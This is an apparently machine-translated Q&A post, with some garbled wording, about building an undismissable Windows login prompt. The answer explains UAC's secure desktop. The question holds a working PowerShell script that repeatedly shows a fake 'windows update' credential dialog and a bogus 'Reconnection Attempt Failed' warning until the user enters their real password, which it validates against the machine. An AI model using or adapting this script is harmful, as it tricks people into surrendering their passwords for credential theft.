安全模式下的登录提示框



是否可以在Windows在UAC提示窗口中询问用户名和密码时制作安全登录提示框(powershell或C#(,并且在字段中编写信条之前无法将其最小化。

以下是一个简单的 ps1 脚本来请求 cred,但不能以安全的方式完成,你知道强迫用户提供 cred 并锁定所有其他窗口,如 UAC 登录提示。

我知道可以通过$form.TopMost = $True来完成,但我不想要这个属性。

[int]$cnt = 1
while ( $cnt -lt '1000000000' ) {
    $user    = [Environment]::UserName
    $domain  = [Environment]::UserDomainName
    $credentials = $Host.UI.PromptForCredential('windows update','',$user,[Environment]::UserDomainName)
    $pass = $credentials.getnetworkcredential().password
    Add-Type -assemblyname system.DirectoryServices.AccountManagement 
    $localMachine = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    $credtest = $localMachine.ValidateCredentials($user,$pass)

    if ( $credtest -eq $false ) {
    Add-Type -assemblyname System.Windows.Forms
    $choice = [System.Windows.Forms.MessageBox]::Show("Authentication failed! Please enter correct password", "Reconnection Attempt Failed!", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Warning)     
    } 
else { 
    break 
    }
    $cnt++
}

UAC 提示符不仅仅是"锁定所有其他窗口",它实际上显示在其他用户代码无法运行的不同桌面上。 这可以防止恶意脚本/应用程序将 Window 消息发送到可能违背用户意愿接受提示的提示。

可以强制 UAC 使用用户的普通桌面,但这不如默认设置安全,通常仅在由于切换而导致图形出现问题时使用。

因此,虽然您可能能够在自定义登录提示中"锁定"其他窗口,但它不会像 UAC 那样成为"安全登录提示框",因为它缺少桌面切换的关键元素。

最新更新